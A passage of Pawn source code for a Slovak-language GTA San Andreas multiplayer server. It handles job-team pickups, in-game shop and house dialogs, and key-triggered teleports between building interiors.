                         if(Player[playerid][ClanP] != 9999) ShowPlayerDialog(playerid,Dialog_NoEffect,DIALOG_STYLE_MSGBOX,"{ffff00}Clan Info Box","{ff0000}Nemôžeš sa zamestnať keď si už v nejakom clane.\nNajprv musíš opustiť clan príkazom /leaveclan","OK","");
                    else if(Player[playerid][Team]!=23) ShowPlayerDialog(playerid,Dialog_Team23,DIALOG_STYLE_MSGBOX,"Team - Hasič (SFFD)","Tu sa môžeš zamestnať ako Hasič\nHasič má za úlohu chrániť mesto pred požiarmy.","Join","Cancel");
                    else if(Player[playerid][Team]==23) ShowPlayerDialog(playerid,Dialog_Vypoved,DIALOG_STYLE_MSGBOX,"Výpoveď","Naozaj chceš podať výpoveď ?!","Ano","Cancel");
                }
            }
            /////////////////////////////////////////////////////////////////////////////
            else if(pickupid == JobCentrum[23])
            {
                if(Player[playerid][IPIP]==false && Player[playerid][ShowGangPickup]==0)
                {
                    Player[playerid][IPIP]=true;
                         if(Player[playerid][ClanP] != 9999) ShowPlayerDialog(playerid,Dialog_NoEffect,DIALOG_STYLE_MSGBOX,"{ffff00}Clan Info Box","{ff0000}Nemôžeš sa zamestnať keď si už v nejakom clane.\nNajprv musíš opustiť clan príkazom /leaveclan","OK","");
                    else if(Player[playerid][Team]!=24) ShowPlayerDialog(playerid,Dialog_Team24,DIALOG_STYLE_MSGBOX,"Team - San Fierro Army","Tu sa môžeš zamestnať ako San Fierro Army\nSan Fierro Army je to iste čo aj Vojak.","Join","Cancel");
                    else if(Player[playerid][Team]==24) ShowPlayerDialog(playerid,Dialog_Vypoved,DIALOG_STYLE_MSGBOX,"Výpoveď","Naozaj chceš podať výpoveď ?!","Ano","Cancel");
                }
            }
            /////////////////////////////////////////////////////////////////////////////
            else if(pickupid == JobCentrum[24])
            {
                if(Player[playerid][IPIP]==false && Player[playerid][ShowGangPickup]==0)
                {
                    Player[playerid][IPIP]=true;
                         if(Player[playerid][ClanP] != 9999) ShowPlayerDialog(playerid,Dialog_NoEffect,DIALOG_STYLE_MSGBOX,"{ffff00}Clan Info Box","{ff0000}Nemôžeš sa zamestnať keď si už v nejakom clane.\nNajprv musíš opustiť clan príkazom /leaveclan","OK","");
                    else if(Player[playerid][Team]!=25) ShowPlayerDialog(playerid,Dialog_Team25,DIALOG_STYLE_MSGBOX,"Team - FBI","Tu sa môžeš zamestnať ako FBI\nFBI má za úlohu chytať zločincov a chrániť občanov SA.","Join","Cancel");
                    else if(Player[playerid][Team]==25) ShowPlayerDialog(playerid,Dialog_Vypoved,DIALOG_STYLE_MSGBOX,"Výpoveď","Naozaj chceš podať výpoveď ?!","Ano","Cancel");
                }
            }
            /////////////////////////////////////////////////////////////////////////////
            else if(pickupid == JobCentrum[25])
            {
                if(Player[playerid][IPIP]==false && Player[playerid][ShowGangPickup]==0)
                {
                    Player[playerid][IPIP]=true;
                         if(Player[playerid][ClanP] != 9999) ShowPlayerDialog(playerid,Dialog_NoEffect,DIALOG_STYLE_MSGBOX,"{ffff00}Clan Info Box","{ff0000}Nemôžeš sa zamestnať keď si už v nejakom clane.\nNajprv musíš opustiť clan príkazom /leaveclan","OK","");
                    else if(Player[playerid][Team]!=26) ShowPlayerDialog(playerid,Dialog_Team26,DIALOG_STYLE_MSGBOX,"Team - Ruská Mafie","Tu sa môžeš zamestnať ako Ruská Mafia","Join","Cancel");
                    else if(Player[playerid][Team]==26) ShowPlayerDialog(playerid,Dialog_Vypoved,DIALOG_STYLE_MSGBOX,"Výpoveď","Naozaj chceš podať výpoveď ?!","Ano","Cancel");
                }
            }
            /////////////////////////////////////////////////////////////////////////////
            else if(pickupid == JobCentrum[26])
            {
                if(Player[playerid][IPIP]==false && Player[playerid][ShowGangPickup]==0)
                {
                    Player[playerid][IPIP]=true;
                         if(Player[playerid][ClanP] != 9999) ShowPlayerDialog(playerid,Dialog_NoEffect,DIALOG_STYLE_MSGBOX,"{ffff00}Clan Info Box","{ff0000}Nemôžeš sa zamestnať keď si už v nejakom clane.\nNajprv musíš opustiť clan príkazom /leaveclan","OK","");
                    else if(Player[playerid][Team]!=27) ShowPlayerDialog(playerid,Dialog_Team27,DIALOG_STYLE_MSGBOX,"Team - Smetiar","Tu sa môžeš zamestnať ako Smetiar\nSmetiar maá za úlohu vynášať smetie.","Join","Cancel");
                    else if(Player[playerid][Team]==27) ShowPlayerDialog(playerid,Dialog_Vypoved,DIALOG_STYLE_MSGBOX,"Výpoveď","Naozaj chceš podať výpoveď ?!","Ano","Cancel");
                }
            }
            /////////////////////////////////////////////////////////////////////////////
            else if(pickupid == JobCentrum[27])
            {
                if(Player[playerid][IPIP]==false && Player[playerid][ShowGangPickup]==0)
                {
                    Player[playerid][IPIP]=true;
                         if(Player[playerid][ClanP] != 9999) ShowPlayerDialog(playerid,Dialog_NoEffect,DIALOG_STYLE_MSGBOX,"{ffff00}Clan Info Box","{ff0000}Nemôžeš sa zamestnať keď si už v nejakom clane.\nNajprv musíš opustiť clan príkazom /leaveclan","OK","");
                    else if(Player[playerid][Team]!=28) ShowPlayerDialog(playerid,Dialog_Team28,DIALOG_STYLE_MSGBOX,"Team - Yakuza","Tu sa môžeš zamestnať ako Yakuza","Join","Cancel");
                    else if(Player[playerid][Team]==28) ShowPlayerDialog(playerid,Dialog_Vypoved,DIALOG_STYLE_MSGBOX,"Výpoveď","Naozaj chceš podať výpoveď ?!","Ano","Cancel");
                }
            }
            /////////////////////////////////////////////////////////////////////////////
            else if(pickupid == ElectroShop)
            {
                ShowPlayerDialog(playerid,Dialog_ElectroShop,DIALOG_STYLE_LIST,"Electro Shop","GPS (50 000$)\nNotebook (250 000$)","Kupit","Cancel");
            }
            /////////////////////////////////////////////////////////////////////////////
            else if(pickupid == AmmoPickup)
            {
                if(Player[playerid][IPIP]==false)
                {
                    Player[playerid][IPIP]=true;
                    ShowPlayerDialog(playerid,Dialog_GangAmmo,DIALOG_STYLE_LIST,"Gang Ammu Nation","9mm (500$)\n9mm + tlmič (800$)\nDesert Eagle (1400$)\nShotgun (400$)\nSawn - Off (800$)\nCombat Shotgun (1100$)\nTec 9 (500$)\nMicro SMG (800$)\nRifle (2000$)\nSMG (2500$)\nAK - 47 (3500$)\nM4 (5000$)\nGranát (300$)\n{ffff00}Armour (1000$)","Kupit","Cancel");
                }
            }
            /////////////////////////////////////////////////////////////////////////////
            else
            {
                for(new rv=0; rv<16; rv++)
                {
                    if(pickupid == OilWell[rv])
                    {
                        if(Player[playerid][IPIP] == false)
                        {
                            Player[playerid][IPIP]=true;
                            Player[playerid][OilWell_ID]=rv;
                            ShowPlayerDialog(playerid,Dialog_RobOilWell,DIALOG_STYLE_MSGBOX,"Ropný Vrt","Toto je jeden z Ropných vrtov.\nAk ho chceš vykradnuť stlač {ffff70}Rob","Rob","Cancel");
                            return 0;
                        }
                    }
                }
                //-------------------------------------------------
                for(new h=0; h<MAX_HOUSES; h++)
                {
                    if(pickupid == House[h] && Player[playerid][IPIP]==false)
                    {
                        Player[playerid][IPIP]=true;
                        Player[playerid][HouseID]=h;
                        new way[32];
                        format(way,32,"SL/Server/Houses/House%d.cfg",h);

                        if(House_V[h][State]==0)
                        {
                            format(gBIGSTRING,sizeof(gBIGSTRING),"~y~Cena:~w~ %d$~n~~n~~y~Park. miesta:~w~ %d~n~~n~~y~Weapon slots:~w~ %d",HouseStates[h][Price],HouseStates[h][Vehicles],HouseStates[h][WeaponSlots]);
                            ShowPlayerDialog(playerid,Dialog_HS_H_F,DIALOG_STYLE_LIST,"Volný dům","Vstoupit\nKoupit","OK","Cancel");
                        }
                        else
                        {
                            format(gBIGSTRING,sizeof(gBIGSTRING),"~y~Cena:~w~ %d$~n~~n~~y~Park. miesta:~w~ %d~n~~n~~y~Weapon slots:~w~ %d~n~~n~~y~Majitel:~w~ %s",HouseStates[h][Price],HouseStates[h][Vehicles],HouseStates[h][WeaponSlots],dini_Get(way,"Majitel"));
                            ShowPlayerDialog(playerid,Dialog_HS_H_S,DIALOG_STYLE_LIST,"Dom","Vstupiť\nZamknouť\nOdomknouť\nVozidlá\nPredať dom","OK","Cancel");
                        }

                        FormatPlayerInfoBox(playerid,"~g~House",gBIGSTRING,5000);
                        return 0;
                    }
                }
            }
            /////////////////////////////////////////////////////////////////////////////
        }
    }
    return 1;
}

public OnPlayerKeyStateChange(playerid, newkeys, oldkeys)
{
    if(IsPlayerConnected(playerid))
    {
        if(IsPlayerUsingLoopingAnimation[playerid])
        {
            if(IsKeyJustDown(KEY_SECONDARY_ATTACK, newkeys, oldkeys))
            {
                IsPlayerUsingLoopingAnimation[playerid] = 0;
                SetPlayerSpecialAction(playerid, SPECIAL_ACTION_NONE);
                ApplyAnimation(playerid, "CARRY", "crry_prtial", 4.0, 0, 0, 0, 0, 0);
            }
        }
        
        if(newkeys & KEY_SECONDARY_ATTACK)
        {
            if(UsePlayerStoppingAnimation[playerid] == true)
            {
                StopPlayer(playerid);
                UsePlayerStoppingAnimation[playerid]=false;
            }
        }
        
        ///////////////////////////////////////
    
        if(newkeys & KEY_SECONDARY_ATTACK)
        {
            for(new h=0; h<MAX_HOUSES; h++)
            {
                if(GetPlayerVirtualWorld(playerid) == HouseStates[h][VirtualWorld])
                {
                    if(IsPlayerInSphere(playerid, HouseStates[h][I_x], HouseStates[h][I_y], HouseStates[h][I_z], 2))
                    {
                        SetPlayerPos(playerid, HouseStates[h][E_x], HouseStates[h][E_y], HouseStates[h][E_z]);
                        SetPlayerVirtualWorld(playerid, 0);
                        SetPlayerInterior(playerid, 0);
                        
                        Player[playerid][IPIP]=true;
                        SetTimerEx("IsPlayerInPickupFalse",1500,0,"i",playerid);
                        return 0;
                    }
                }
            }

            for(new c=0; c<MAX_CLANS; c++)
            {
                if(GetPlayerVirtualWorld(playerid) == Clan[c][cVWID])
                {
                    if(IsPlayerInSphere(playerid, Clan[c][cpiX], Clan[c][cpiY], Clan[c][cpiZ], 2))
                    {
                        SetPlayerPos(playerid, Clan[c][cpeX], Clan[c][cpeY], Clan[c][cpeZ]);
                        SetPlayerVirtualWorld(playerid, 0);
                        SetPlayerInterior(playerid, 0);

                        Player[playerid][IPIP]=true;
                        SetTimerEx("IsPlayerInPickupFalse",1500,0,"i",playerid);
                        return 0;
                    }
                }
            }

            ///// GYMS /////
            if(IsPlayerInSphere(playerid,2229.671,-1721.729,13.565,2)) { SetPlayerPos(playerid, 772.2613,-4.6860,1000.7288);  SetPlayerInterior(playerid, 5); SetPlayerVirtualWorld(playerid, 5000); return 0; }
            if(IsPlayerInSphere(playerid,-2269.769,-156.024,35.320,2)) { SetPlayerPos(playerid, 774.1383,-49.7679,1000.5859); SetPlayerInterior(playerid, 6); SetPlayerVirtualWorld(playerid, 5001); return 0; }
            if(IsPlayerInSphere(playerid,1809.744,-1167.061,24.226,2)) { SetPlayerPos(playerid, 773.7861,-78.2226,1000.6618); SetPlayerInterior(playerid, 7); SetPlayerVirtualWorld(playerid, 5002); return 0; }

            if(IsPlayerInSphere(playerid,772.2613,-4.6860,1000.7288,2))  { SetPlayerPos(playerid, 2229.671,-1721.729,13.565); SetPlayerInterior(playerid, 0); SetPlayerVirtualWorld(playerid, 0); return 0; }
            if(IsPlayerInSphere(playerid,774.1383,-49.7679,1000.5859,2)) { SetPlayerPos(playerid, -2269.769,-156.024,35.320); SetPlayerInterior(playerid, 0); SetPlayerVirtualWorld(playerid, 0); return 0; }
            if(IsPlayerInSphere(playerid,773.7861,-78.2226,1000.6618,2)) { SetPlayerPos(playerid, 1809.744,-1167.061,24.226); SetPlayerInterior(playerid, 0); SetPlayerVirtualWorld(playerid, 0); return 0; }
            ////////////////

            if(IsPlayerInSphere(playerid, 2676.5546875,-1003.8663330078,91.818473815918, 2))        { GivePlayerWeapon(playerid, 46, 1); return SetPlayerVelocity(playerid, 11.0+(random(300) / 100), 0, 20.0); }
            if(IsPlayerInSphere(playerid, 967.26947021484,-2157.326171875,18.818477630615, 2))        { GivePlayerWeapon(playerid, 46, 1); return SetPlayerVelocity(playerid, -13.5-(random(300) / 100), 0, 100.0); }
            if(IsPlayerInSphere(playerid, -2287.5419921875,-1625.8465576172,489.31848144531, 2))    { GivePlayerWeapon(playerid, 46, 1); return SetPlayerVelocity(playerid, 12.0+(random(300) / 100), 0, 20.0); }
            if(IsPlayerInSphere(playerid, -2425.9392089844,-563.63922119141,135.56848144531, 2))    { GivePlayerWeapon(playerid, 46, 1); return SetPlayerVelocity(playerid, 0, 15.0+(random(300) / 100), 20.0); }
            if(IsPlayerInSphere(playerid, -2563.7783203125,1026.7878417969,83.170837402344, 2))    { GivePlayerWeapon(playerid, 46, 1); return SetPlayerVelocity(playerid, 0, 17.5+(random(300) / 100), 20.0); }

                 if(IsPlayerInSphere(playerid,   1835.0,  -1681.7,    13.4,2)) { SetPlayerPos(playerid,-2636.087,1404.061,906.460); SetPlayerVirtualWorld(playerid,2999); SetPlayerInterior(playerid,3); return 0; }
            else if(IsPlayerInSphere(playerid,-2636.087, 1404.061, 906.460,2)) { SetPlayerPos(playerid,1835.0,-1681.7,13.4); SetPlayerVirtualWorld(playerid,0); SetPlayerInterior(playerid,0); return 0; }
            else if(IsPlayerInSphere(playerid,   1247.9,    -1560,    13.5,2)) { SetPlayerPos(playerid,246.515,107.609,1003.218); SetPlayerVirtualWorld(playerid,2998); SetPlayerInterior(playerid,10); return 0; }
            else if(IsPlayerInSphere(playerid,  246.515,  107.609,1003.218,2)) { SetPlayerPos(playerid,1247.9,-1560,13.5); SetPlayerVirtualWorld(playerid,0); SetPlayerInterior(playerid,0); return 0; }
            else if(IsPlayerInSphere(playerid, 1275.044,-1662.776,  19.734,2)) { SetPlayerPos(playerid,238.767,140.496,1003.82); SetPlayerVirtualWorld(playerid,2997); SetPlayerInterior(playerid,3); return 0; }
            else if(IsPlayerInSphere(playerid,  238.767,  140.496, 1003.82,2)) { SetPlayerPos(playerid,1275.044,-1662.776,19.734); SetPlayerVirtualWorld(playerid,0); SetPlayerInterior(playerid,0); return 0; }
            else if(IsPlayerInSphere(playerid,2400.602,-1981.754, 13.546,2)) { SetPlayerPos(playerid,297.051,-111.605,1001.515); SetPlayerVirtualWorld(playerid,2000); SetPlayerInterior(playerid, 6); SetPlayerFacingAngle(playerid,  0.0); return 0; }
            else if(IsPlayerInSphere(playerid,1368.864,-1279.882, 13.546,2)) { SetPlayerPos(playerid,297.051,-111.605,1001.515); SetPlayerVirtualWorld(playerid,2001); SetPlayerInterior(playerid, 6); SetPlayerFacingAngle(playerid,  0.0); return 0; }
            else if(IsPlayerInSphere(playerid,2419.980,-1508.989, 24.000,2)) { SetPlayerPos(playerid,365.673, -10.713,1001.851); SetPlayerVirtualWorld(playerid,2002); SetPlayerInterior(playerid, 9); SetPlayerFacingAngle(playerid,  0.0); return 0; }
            else if(IsPlayerInSphere(playerid,2244.416,-1665.357, 15.476,2)) { SetPlayerPos(playerid,207.527,-109.705,1005.132); SetPlayerVirtualWorld(playerid,2003); SetPlayerInterior(playerid,15); SetPlayerFacingAngle(playerid,  0.0); return 0; }
            else if(IsPlayerInSphere(playerid,2397.921,-1899.110, 13.546,2)) { SetPlayerPos(playerid,365.673, -10.713,1001.851); SetPlayerVirtualWorld(playerid,2004); SetPlayerInterior(playerid, 9); SetPlayerFacingAngle(playerid,  0.0); return 0; }
            else if(IsPlayerInSphere(playerid,1199.266, -918.503, 43.120,2)) { SetPlayerPos(playerid,363.415, -74.578,1001.507); SetPlayerVirtualWorld(playerid,2005); SetPlayerInterior(playerid,10); SetPlayerFacingAngle(playerid,314.7); return 0; }
            else if(IsPlayerInSphere(playerid, 927.403,-1352.973, 13.376,2)) { SetPlayerPos(playerid,365.673, -10.713,1001.851); SetPlayerVirtualWorld(playerid,2006); SetPlayerInterior(playerid, 9); SetPlayerFacingAngle(playerid,  0.0); return 0; }
            else if(IsPlayerInSphere(playerid,2105.452,-1806.507, 13.554,2)) { SetPlayerPos(playerid,372.366,-132.133,1001.492); SetPlayerVirtualWorld(playerid,2007); SetPlayerInterior(playerid, 5); SetPlayerFacingAngle(playerid,  0.0); return 0; }
            else if(IsPlayerInSphere(playerid, 810.615,-1616.185, 13.546,2)) { SetPlayerPos(playerid,363.415, -74.578,1001.507); SetPlayerVirtualWorld(playerid,2008); SetPlayerInterior(playerid,10); SetPlayerFacingAngle(playerid,314.7); return 0; }
            else if(IsPlayerInSphere(playerid,1038.230,-1340.731, 13.741,2)) { SetPlayerPos(playerid,363.415, -74.578,1001.507); SetPlayerVirtualWorld(playerid,2009); SetPlayerInterior(playerid,10); SetPlayerFacingAngle(playerid,314.7); return 0; }
            else if(IsPlayerInSphere(playerid, 499.661,-1360.556, 16.359,2)) { SetPlayerPos(playerid,207.055,-138.805,1003.507); SetPlayerVirtualWorld(playerid,2010); SetPlayerInterior(playerid, 3); SetPlayerFacingAngle(playerid,  0.0); return 0; }
            else if(IsPlayerInSphere(playerid, 461.748,-1500.961, 31.042,2)) { SetPlayerPos(playerid,226.289,  -7.430,1002.210); SetPlayerVirtualWorld(playerid,2011); SetPlayerInterior(playerid, 5); SetPlayerFacingAngle(playerid, 90.0); return 0; }
            else if(IsPlayerInSphere(playerid,297.051,-111.605,1001.515,2) && GetPlayerVirtualWorld(playerid)==2000) { SetPlayerPos(playerid,2400.602,-1981.754, 13.546); SetPlayerVirtualWorld(playerid,0); SetPlayerInterior(playerid,0); return 0; }
            else if(IsPlayerInSphere(playerid,297.051,-111.605,1001.515,2) && GetPlayerVirtualWorld(playerid)==2001) { SetPlayerPos(playerid,1368.864,-1279.882, 13.546); SetPlayerVirtualWorld(playerid,0); SetPlayerInterior(playerid,0); return 0; }
            else if(IsPlayerInSphere(playerid,365.673, -10.713,1001.851,2) && GetPlayerVirtualWorld(playerid)==2002) { SetPlayerPos(playerid,2419.980,-1508.989, 24.000); SetPlayerVirtualWorld(playerid,0); SetPlayerInterior(playerid,0); return 0; }
            else if(IsPlayerInSphere(playerid,207.527,-109.705,1005.132,2) && GetPlayerVirtualWorld(playerid)==2003) { SetPlayerPos(playerid,2244.416,-1665.357, 15.476); SetPlayerVirtualWorld(playerid,0); SetPlayerInterior(playerid,0); return 0; }
            else if(IsPlayerInSphere(playerid,365.673, -10.713,1001.851,2) && GetPlayerVirtualWorld(playerid)==2004) { SetPlayerPos(playerid,2397.921,-1899.110, 13.546); SetPlayerVirtualWorld(playerid,0); SetPlayerInterior(playerid,0); return 0; }
            else if(IsPlayerInSphere(playerid,363.415, -74.578,1001.507,2) && GetPlayerVirtualWorld(playerid)==2005) { SetPlayerPos(playerid,1199.266, -918.503, 43.120); SetPlayerVirtualWorld(playerid,0); SetPlayerInterior(playerid,0); return 0; }
            else if(IsPlayerInSphere(playerid,365.673, -10.713,1001.851,2) && GetPlayerVirtualWorld(playerid)==2006) { SetPlayerPos(playerid, 927.403,-1352.973, 13.376); SetPlayerVirtualWorld(playerid,0); SetPlayerInterior(playerid,0); return 0; }
            else if(IsPlayerInSphere(playerid,372.366,-132.133,1001.492,2) && GetPlayerVirtualWorld(playerid)==2007) { SetPlayerPos(playerid,2105.452,-1806.507, 13.554); SetPlayerVirtualWorld(playerid,0); SetPlayerInterior(playerid,0); return 0; }
            else if(IsPlayerInSphere(playerid,363.415, -74.578,1001.507,2) && GetPlayerVirtualWorld(playerid)==2008) { SetPlayerPos(playerid, 810.615,-1616.185, 13.546); SetPlayerVirtualWorld(playerid,0); SetPlayerInterior(playerid,0); return 0; }
            else if(IsPlayerInSphere(playerid,363.415, -74.578,1001.507,2) && GetPlayerVirtualWorld(playerid)==2009) { SetPlayerPos(playerid,1038.230,-1340.731, 13.741); SetPlayerVirtualWorld(playerid,0); SetPlayerInterior(playerid,0); return 0; }
            else if(IsPlayerInSphere(playerid,207.055,-138.805,1003.507,2) && GetPlayerVirtualWorld(playerid)==2010) { SetPlayerPos(playerid, 499.661,-1360.556, 16.359); SetPlayerVirtualWorld(playerid,0); SetPlayerInterior(playerid,0); return 0; }
            else if(IsPlayerInSphere(playerid,226.289,  -7.430,1002.210,2) && GetPlayerVirtualWorld(playerid)==2011) { SetPlayerPos(playerid, 461.748,-1500.961, 31.042); SetPlayerVirtualWorld(playerid,0); SetPlayerInterior(playerid,0); return 0; }
            //---vnutro ----------------------
            else if(IsPlayerInSphere(playerid,297.051,-111.605,1001.515,2) && GetPlayerVirtualWorld(playerid)==2012) { SetPlayerPos(playerid,2333.4094238281,61.598838806152,26.70578956604); SetPlayerVirtualWorld(playerid,0); SetPlayerInterior(playerid,0); return 0; }
            else if(IsPlayerInSphere(playerid,372.366,-132.133,1001.492,2) && GetPlayerVirtualWorld(playerid)==2013) { SetPlayerPos(playerid,2332.7509765625,75.168670654297,26.620975494385); SetPlayerVirtualWorld(playerid,0); SetPlayerInterior(playerid,0); return 0; }
            else if(IsPlayerInSphere(playerid,372.366,-132.133,1001.492,2) && GetPlayerVirtualWorld(playerid)==2014) { SetPlayerPos(playerid,1367.2220458984,248.55700683594,19.566932678223); SetPlayerVirtualWorld(playerid,0); SetPlayerInterior(playerid,0); return 0; }
            else if(IsPlayerInSphere(playerid,297.051,-111.605,1001.515,2) && GetPlayerVirtualWorld(playerid)==2015) { SetPlayerPos(playerid,-2093.4106445313,-2464.5834960938,30.625); SetPlayerVirtualWorld(playerid,0); SetPlayerInterior(playerid,0); return 0; }
            else if(IsPlayerInSphere(playerid,365.673, -10.713,1001.851,2) && GetPlayerVirtualWorld(playerid)==2016) { SetPlayerPos(playerid,-2155.08203125,-2460.7436523438,30.8515625); SetPlayerVirtualWorld(playerid,0); SetPlayerInterior(playerid,0); return 0; }
            else if(IsPlayerInSphere(playerid,363.415, -74.578,1001.507,2) && GetPlayerVirtualWorld(playerid)==2017) { SetPlayerPos(playerid,-2336.3225097656,-166.9799041748,35.5546875); SetPlayerVirtualWorld(playerid,0); SetPlayerInterior(playerid,0); return 0; }
            else if(IsPlayerInSphere(playerid,297.051,-111.605,1001.515,2) && GetPlayerVirtualWorld(playerid)==2018) { SetPlayerPos(playerid,-2625.8757324219,208.5,4.6864461898804); SetPlayerVirtualWorld(playerid,0); SetPlayerInterior(playerid,0); return 0; }
            else if(IsPlayerInSphere(playerid,365.673, -10.713,1001.851,2) && GetPlayerVirtualWorld(playerid)==2019) { SetPlayerPos(playerid,-2671.5483398438,258.2746887207,4.6328125); SetPlayerVirtualWorld(playerid,0); SetPlayerInterior(playerid,0); return 0; }
            else if(IsPlayerInSphere(playerid,363.415, -74.578,1001.507,2) && GetPlayerVirtualWorld(playerid)==2020) { SetPlayerPos(playerid,-2356.3681640625,1008.0089111328,50.8984375); SetPlayerVirtualWorld(playerid,0); SetPlayerInterior(playerid,0); return 0; }
            else if(IsPlayerInSphere(playerid,363.415, -74.578,1001.507,2) && GetPlayerVirtualWorld(playerid)==2021) { SetPlayerPos(playerid,-1912.2045898438,828.01928710938,35.212711334229); SetPlayerVirtualWorld(playerid,0); SetPlayerInterior(playerid,0); return 0; }
            else if(IsPlayerInSphere(playerid,161.598, -94.436,1001.804,2) && GetPlayerVirtualWorld(playerid)==2022) { SetPlayerPos(playerid,-1882.6011962891,866.30017089844,35.171875); SetPlayerVirtualWorld(playerid,0); SetPlayerInterior(playerid,0); return 0; }
            else if(IsPlayerInSphere(playerid,365.673, -10.713,1001.851,2) && GetPlayerVirtualWorld(playerid)==2023) { SetPlayerPos(playerid,-1816.5123291016,617.82867431641,35.171875); SetPlayerVirtualWorld(playerid,0); SetPlayerInterior(playerid,0); return 0; }
            else if(IsPlayerInSphere(playerid,226.289,  -7.430,1002.210,2) && GetPlayerVirtualWorld(playerid)==2024) { SetPlayerPos(playerid,-1694.9097900391,951.68878173828,24.890625); SetPlayerVirtualWorld(playerid,0); SetPlayerInterior(playerid,0); return 0; }
            else if(IsPlayerInSphere(playerid,372.366,-132.133,1001.492,2) && GetPlayerVirtualWorld(playerid)==2025) { SetPlayerPos(playerid,-1721.7735595703,1359.7717285156,7.1853160858154); SetPlayerVirtualWorld(playerid,0); SetPlayerInterior(playerid,0); return 0; }
            else if(IsPlayerInSphere(playerid,372.366,-132.133,1001.492,2) && GetPlayerVirtualWorld(playerid)==2026) { SetPlayerPos(playerid,-2523.7309570313,1216.1951904297,37.428329467773); SetPlayerVirtualWorld(playerid,0); SetPlayerInterior(playerid,0); return 0; }
            else if(IsPlayerInSphere(playerid,207.527,-109.705,1005.132,2) && GetPlayerVirtualWorld(playerid)==2027) { SetPlayerPos(playerid,-2374.5075683594,910.30676269531,45.4453125); SetPlayerVirtualWorld(playerid,0); SetPlayerInterior(playerid,0); return 0; }
            else if(IsPlayerInSphere(playerid,372.366,-132.133,1001.492,2) && GetPlayerVirtualWorld(playerid)==2028) { SetPlayerPos(playerid,-1808.4222412109,945.59234619141,24.890625); SetPlayerVirtualWorld(playerid,0); SetPlayerInterior(playerid,0); return 0; }
            //---vonok -----------------------
            else if(IsPlayerInSphere(playerid,2333.4094238281,61.598838806152,26.70578956604,2)) {     SetPlayerPos(playerid,297.051,-111.605,1001.515); SetPlayerVirtualWorld(playerid,2012); SetPlayerInterior(playerid, 6); SetPlayerFacingAngle(playerid,  0.0); return 0; }
            else if(IsPlayerInSphere(playerid,2332.7509765625,75.168670654297,26.620975494385,2)) {     SetPlayerPos(playerid,372.366,-132.133,1001.492); SetPlayerVirtualWorld(playerid,2013); SetPlayerInterior(playerid, 5); SetPlayerFacingAngle(playerid,  0.0); return 0; }
            else if(IsPlayerInSphere(playerid,1367.2220458984,248.55700683594,19.566932678223,2)) {     SetPlayerPos(playerid,372.366,-132.133,1001.492); SetPlayerVirtualWorld(playerid,2014); SetPlayerInterior(playerid, 5); SetPlayerFacingAngle(playerid,  0.0); return 0; }
            else if(IsPlayerInSphere(playerid,-2093.4106445313,-2464.5834960938,30.625,2)) {         SetPlayerPos(playerid,297.051,-111.605,1001.515); SetPlayerVirtualWorld(playerid,2015); SetPlayerInterior(playerid, 6); SetPlayerFacingAngle(playerid,  0.0); return 0; }
            else if(IsPlayerInSphere(playerid,-2155.08203125,-2460.7436523438,30.8515625,2)) {         SetPlayerPos(playerid,365.673, -10.713,1001.851); SetPlayerVirtualWorld(playerid,2016); SetPlayerInterior(playerid, 9); SetPlayerFacingAngle(playerid,  0.0); return 0; }
            else if(IsPlayerInSphere(playerid,-2336.3225097656,-166.9799041748,35.5546875,2)) {         SetPlayerPos(playerid,363.415, -74.578,1001.507); SetPlayerVirtualWorld(playerid,2017); SetPlayerInterior(playerid,10); SetPlayerFacingAngle(playerid,  0.0); return 0; }
            else if(IsPlayerInSphere(playerid,-2625.8757324219,208.5,4.6864461898804,2)) {             SetPlayerPos(playerid,297.051,-111.605,1001.515); SetPlayerVirtualWorld(playerid,2018); SetPlayerInterior(playerid, 6); SetPlayerFacingAngle(playerid,  0.0); return 0; }
            else if(IsPlayerInSphere(playerid,-2671.5483398438,258.2746887207,4.6328125,2)) {         SetPlayerPos(playerid,365.673, -10.713,1001.851); SetPlayerVirtualWorld(playerid,2019); SetPlayerInterior(playerid, 9); SetPlayerFacingAngle(playerid,  0.0); return 0; }
            else if(IsPlayerInSphere(playerid,-2356.3681640625,1008.0089111328,50.8984375,2)) {         SetPlayerPos(playerid,363.415, -74.578,1001.507); SetPlayerVirtualWorld(playerid,2020); SetPlayerInterior(playerid,10); SetPlayerFacingAngle(playerid,  0.0); return 0; }
            else if(IsPlayerInSphere(playerid,-1912.2045898438,828.01928710938,35.212711334229,2)) { SetPlayerPos(playerid,363.415, -74.578,1001.507); SetPlayerVirtualWorld(playerid,2021); SetPlayerInterior(playerid,10); SetPlayerFacingAngle(playerid,  0.0); return 0; }
            else if(IsPlayerInSphere(playerid,-1882.6011962891,866.30017089844,35.171875,2)) {         SetPlayerPos(playerid,161.598, -94.436,1001.804); SetPlayerVirtualWorld(playerid,2022); SetPlayerInterior(playerid,18); SetPlayerFacingAngle(playerid,  0.0); return 0; }
            else if(IsPlayerInSphere(playerid,-1816.5123291016,617.82867431641,35.171875,2)) {         SetPlayerPos(playerid,365.673, -10.713,1001.851); SetPlayerVirtualWorld(playerid,2023); SetPlayerInterior(playerid, 9); SetPlayerFacingAngle(playerid,  0.0); return 0; }
            else if(IsPlayerInSphere(playerid,-1694.9097900391,951.68878173828,24.890625,2)) {         SetPlayerPos(playerid,226.289,  -7.430,1002.210); SetPlayerVirtualWorld(playerid,2024); SetPlayerInterior(playerid, 5); SetPlayerFacingAngle(playerid,  0.0); return 0; }
            else if(IsPlayerInSphere(playerid,-1721.7735595703,1359.7717285156,7.1853160858154,2)) { SetPlayerPos(playerid,372.366,-132.133,1001.492); SetPlayerVirtualWorld(playerid,2025); SetPlayerInterior(playerid, 5); SetPlayerFacingAngle(playerid,  0.0); return 0; }
            else if(IsPlayerInSphere(playerid,-2523.7309570313,1216.1951904297,37.428329467773,2)) { SetPlayerPos(playerid,372.366,-132.133,1001.492); SetPlayerVirtualWorld(playerid,2026); SetPlayerInterior(playerid, 5); SetPlayerFacingAngle(playerid,  0.0); return 0; }
            else if(IsPlayerInSphere(playerid,-2374.5075683594,910.30676269531,45.4453125,2)) {         SetPlayerPos(playerid,207.527,-109.705,1005.132); SetPlayerVirtualWorld(playerid,2027); SetPlayerInterior(playerid,15); SetPlayerFacingAngle(playerid,  0.0); return 0; }
            else if(IsPlayerInSphere(playerid,-1808.4222412109,945.59234619141,24.890625,2)) {         SetPlayerPos(playerid,372.366,-132.133,1001.492); SetPlayerVirtualWorld(playerid,2028); SetPlayerInterior(playerid, 5); SetPlayerFacingAngle(playerid,  0.0); return 0; }
            //-------- INV. SHOPS ------------
